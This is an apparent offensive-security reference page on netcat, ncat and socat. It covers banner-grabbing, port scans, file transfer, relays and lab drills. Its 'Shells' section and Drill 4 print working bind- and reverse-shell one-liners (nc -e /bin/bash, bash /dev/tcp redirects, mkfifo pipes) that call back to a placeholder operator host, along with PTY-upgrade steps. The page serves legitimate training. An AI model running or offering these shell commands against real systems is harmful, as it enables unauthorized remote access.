Netcat#

The operator’s Swiss-army knife for arbitrary TCP and UDP sockets. Read and write any port from the shell, with no client-side protocol. Banner-grab a service, dump a file across a network, pipe a sensor’s output into another machine, set up a disposable listener for a callback. The kernel provides the sockets; nc is the thinnest tool that exposes them at the command line.

Three flavours co-exist on most Linux hosts. Pick the one the mission requires and check which is on PATH before relying on a specific flag.

Implementation

Binary

Notes

OpenBSD netcat

nc.openbsd

Default on Debian, Ubuntu, Kali, most modern distros. Clean flag set; no -e (no exec by design).

GNU netcat

nc.traditional

Original BSD heritage; supports -e prog for command execution (the classic reverse-shell trick).

Ncat (Nmap project)

ncat

Most capable. SSL/TLS, IPv6, proxy chaining, ACLs, named SOCKS. The default when --ssl or proxying is needed.

socat

socat

Not netcat, but the same job class with bidirectional transforms (TLS termination, UNIX-socket bridging, pty allocation). Reach for socat when ncat runs out.

Warning

Authorization required. nc listeners and bind / reverse shell patterns documented below are offensive primitives. Use only against systems the operator owns, against systems with written authorization to test, or in an isolated lab the operator built for practice (see Lab Exercises below). See Disclaimers for the full text.

Install#

$ sudo apt install netcat-openbsd                    # Debian / Ubuntu / Kali (default)
$ sudo apt install netcat-traditional                # GNU netcat (for -e)
$ sudo apt install ncat                              # Ncat (Nmap)
$ sudo apt install socat                             # socat

$ sudo dnf install nmap-ncat socat                   # Fedora / RHEL
$ sudo pacman -S openbsd-netcat gnu-netcat nmap socat # Arch
$ sudo apk add netcat-openbsd ncat socat             # Alpine

$ update-alternatives --display nc                   # which one is /usr/bin/nc?

Identifying#

The same command name (nc) may launch any of three binaries with different flag sets. Confirm before scripting.

$ readlink -f $(which nc)
$ nc -h 2>&1 | head -1
$ ncat --version

Modes#

Five operator-shaped modes. Most days the operator only needs the first three.

Mode

What it does

Connect

Open a TCP or UDP socket to a remote host:port and pass stdin / stdout through it.

Listen

Bind a local port and accept one (or, with Ncat, many) inbound connections; pass the byte stream to stdout.

Port scan

Probe a port range, report which TCP ports answer (or which UDP ports refuse). Cheap and noisy; use nmap for anything beyond a single host.

File transfer

Pipe a file across a listener-connector pair. Useful when the operator has shell on both ends but no scp.

Relay / chain

Bridge two sockets so traffic flows through the operator’s host. The pattern behind quick redirectors, with ncat or socat doing the heavy lifting.

Connect#

Banner-grab and protocol probing.

$ nc -v target 22                                    # SSH banner
$ nc -v target 80                                    # talk HTTP by hand
$ nc -uv target 53                                   # UDP probe (DNS port)
$ printf 'GET / HTTP/1.0\r\n\r\n' | nc -q1 target 80

Notes. -v is verbose to stderr. -u is UDP. -q1 (OpenBSD) or --idle-timeout 1s (Ncat) exits after the remote stops talking.

Listen#

Disposable receivers and callback handlers.

$ nc -lvnp 4444                                      # OpenBSD: -l listen, -v verbose, -n no DNS, -p port
$ ncat -lvnp 4444 --keep-open                        # Ncat: keep listening across multiple clients
$ ncat -lvnp 4444 --ssl --ssl-cert cert.pem --ssl-key key.pem

Notes. The OpenBSD nc exits after the first client closes; ncat --keep-open does not. --ssl wraps the socket in TLS.

Port scan#

$ nc -zv target 20-25                                # TCP scan, ports 20-25
$ nc -zvu target 53 123 161                          # UDP scan, three ports
$ nc -zv -w 2 target 22                              # 2-second timeout per port

For anything beyond a sanity check, use 0X42 - Networks and nmap. nc reports only open / closed; nmap reports filtered, ttl, service version, OS guess.

File transfer#

Pair a listener (receiver) with a connector (sender).

# receiver
$ nc -lvnp 4444 > received.bin

# sender
$ nc -q1 receiver-host 4444 < file.bin

# progress + integrity in one shot
$ pv file.bin | nc -q1 receiver-host 4444
$ sha256sum file.bin received.bin                    # verify after

For multiple files or a directory tree, pipe a tar stream.

# receiver
$ nc -lvnp 4444 | tar xvz

# sender
$ tar czf - dir/ | nc -q1 receiver-host 4444

Relay / chain#

A simple TCP redirector with Ncat.

$ ncat -l 8080 --sh-exec "ncat backend.internal 80"

Same pattern with socat (preferred for bidirectional, long-running relays).

$ socat TCP-LISTEN:8080,fork TCP:backend.internal:80
$ socat OPENSSL-LISTEN:8443,fork,cert=cert.pem,key=key.pem TCP:backend.internal:80
$ socat UNIX-LISTEN:/tmp/proxy.sock,fork TCP:backend.internal:80

Shells#

The classic nc reverse-shell and bind-shell patterns. Only run on authorised targets.

Bind shell (target listens, operator connects). Requires GNU netcat or Ncat (OpenBSD nc removed -e).

# on target
$ nc.traditional -lvnp 4444 -e /bin/bash
$ ncat -lvnp 4444 -e /bin/bash

# on operator
$ nc -v target 4444

Reverse shell (operator listens, target connects out). Friendlier through outbound-only firewalls.

# on operator
$ nc -lvnp 4444

# on target (one of these depending on what's installed)
$ nc.traditional -e /bin/bash op-host 4444
$ ncat -e /bin/bash op-host 4444
$ /bin/bash -i >& /dev/tcp/op-host/4444 0>&1         # bash built-in, no nc needed
$ mkfifo /tmp/p; cat /tmp/p | /bin/bash -i 2>&1 | nc op-host 4444 > /tmp/p

The bash /dev/tcp/ pattern is the operator’s fallback when nc and ncat are both absent. mkfifo plus OpenBSD nc is the no--e equivalent that survives modern distro defaults.

Upgrade a raw shell to a fully interactive PTY immediately after landing. Bare nc shells lose Ctrl+C, tab-completion, and arrow keys.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ export TERM=xterm-256color
$ stty raw -echo; fg                                  # in the operator's shell

Constraints#

  • No ``-e`` in OpenBSD ``nc``. Modern distros ship the OpenBSD build by default. ncat or the mkfifo workaround replaces it; expect this on hardened hosts.

  • No encryption in vanilla ``nc``. Anyone on the wire reads the byte stream. Use ncat --ssl or socat OPENSSL-LISTEN for confidentiality.

  • No persistence. A nc listener dies when the operator’s shell does. systemd-socket or socat under a unit file for anything beyond a one-shot.

  • Detection signal. Egress to op-host:4444 from a workstation is a red flag in any NDR worth the name. Mismatch with the host’s normal traffic == alert.

Files#

Per-distro paths and what each binary is.

Path

Purpose

/usr/bin/nc

Symlink, target depends on distro (update-alternatives).

/usr/bin/nc.openbsd

OpenBSD netcat binary on Debian-family.

/usr/bin/nc.traditional

GNU netcat (with -e) when installed.

/usr/bin/ncat

Ncat (Nmap).

/usr/bin/socat

socat.

Variables#

Few. nc reads no environment of its own; the variables that matter belong to the shell and the network.

Variable

Purpose

LANG / LC_ALL

Affects banner display when reading textual protocols (HTTP, SMTP).

http_proxy / https_proxy

Ignored by nc; Ncat honours --proxy flags only.

Common Tasks#

Check whether a single TCP port is open.

$ nc -zv -w 2 target 443 && echo open || echo closed

Open a UDP listener for ad-hoc capture (syslog, ad-hoc logging).

$ nc -ulvnp 5140

Banner-grab over TLS.

$ ncat --ssl -v target 443

Move a file across with progress bar and checksum.

# receiver
$ nc -lvnp 4444 | pv -bra > received.bin

# sender
$ pv file.bin | nc -q1 receiver 4444
$ sha256sum file.bin received.bin

Run a TCP redirector for the engagement.

$ socat TCP-LISTEN:8080,fork,reuseaddr TCP:internal-svc:80

Pipe a remote command into a local pipeline.

$ ncat target 4444 < /dev/null | tee /tmp/dump | grep -i password

Quickly bridge stdin / stdout to a TCP service for scripting.

$ { echo "EHLO localhost"; sleep 1; echo "QUIT"; } | nc -q1 target 25

Lab Exercises#

Self-contained drills the operator can run on a laptop using localhost or two short-lived containers. Each is a stepwise exercise; finish one before starting the next.

Drill 1 - banner-grab a service on localhost#

Stand up a throwaway HTTP server, banner-grab it with nc, confirm what the kernel sees on the wire.

$ python3 -m http.server 8000 &                        # server in background
$ printf 'GET / HTTP/1.0\r\nHost: x\r\n\r\n' | nc -q1 127.0.0.1 8000
$ ss -ltnp | grep 8000                                 # kernel view
$ kill %1

Outcome. The operator sees the response line, headers, and HTML body returned over the raw socket. nc proves the server is up without a browser or curl.

Drill 2 - chat over a TCP socket between two terminals#

Two terminals on the same host. Terminal A is the listener; terminal B is the connector.

# terminal A
$ nc -lvnp 4444

# terminal B
$ nc -v 127.0.0.1 4444
$ hello?
$ (type and press Enter; A echoes the line)

Outcome. The operator sees how the listener-connector pair proxies stdin / stdout across the kernel. Same pattern that underpins reverse shells, file transfer, and relays.

Drill 3 - file transfer with integrity check#

Move a binary across the same listener-connector pair; verify checksums match.

$ dd if=/dev/urandom of=/tmp/payload bs=1M count=8     # 8 MB random file

# terminal A (receiver)
$ nc -lvnp 4444 > /tmp/received

# terminal B (sender)
$ pv /tmp/payload | nc -q1 127.0.0.1 4444
$ sha256sum /tmp/payload /tmp/received

Outcome. Hashes match. The operator now has a transport that works when scp, rsync, and curl are not installed.

Drill 4 - reverse shell in a container pair#

Two disposable containers on a shared network simulate operator + target. Run this on the operator’s laptop only.

$ docker network create lab
$ docker run --rm -d --name op  --network lab alpine sh -c "apk add --no-cache ncat && sleep 3600"
$ docker run --rm -d --name tgt --network lab alpine sh -c "apk add --no-cache ncat bash && sleep 3600"

# operator side: listen for the callback
$ docker exec -it op ncat -lvnp 4444

# target side: dial back to operator
$ docker exec -it tgt ncat -e /bin/sh op 4444

$ # cleanup
$ docker rm -f op tgt
$ docker network rm lab

Outcome. The operator gets an interactive shell on tgt through the listener on op. Practise the PTY-upgrade lines from the Shells section on the resulting shell.

Drill 5 - TLS-wrapped listener with Ncat#

Wrap the listener in TLS. Useful for blue-team OPSEC training (see what a TLS-tunneled C2 callback looks like on the wire).

# generate a self-signed cert
$ openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/key.pem -out /tmp/cert.pem \
    -days 1 -subj "/CN=lab"

# listener
$ ncat -lvnp 4444 --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem

# client (different terminal)
$ ncat --ssl 127.0.0.1 4444

# observe on the wire
$ sudo tcpdump -i lo -A 'port 4444'                    # encrypted; payload unreadable

Outcome. The operator sees that plaintext nc traffic shows up clearly in tcpdump, while the --ssl variant does not. Use the same drill to test detection rules in a SIEM lab.

Drill 6 - relay through the operator’s host#

Chain three containers: a client, a relay (operator’s box), and a backend. The relay forwards the client’s connection to the backend so the client never speaks to the backend directly.

$ docker network create lab
$ docker run --rm -d --name back   --network lab nginx
$ docker run --rm -d --name relay  --network lab alpine sh -c "apk add --no-cache socat && \
     socat TCP-LISTEN:8080,fork,reuseaddr TCP:back:80"
$ docker run --rm -it --name client --network lab alpine sh -c "apk add --no-cache curl && \
     curl -v http://relay:8080/"
$ docker rm -f back relay; docker network rm lab

Outcome. Nginx’s default page comes back through relay even though client never named back. Same pattern as a production redirector or a debugging proxy.

References#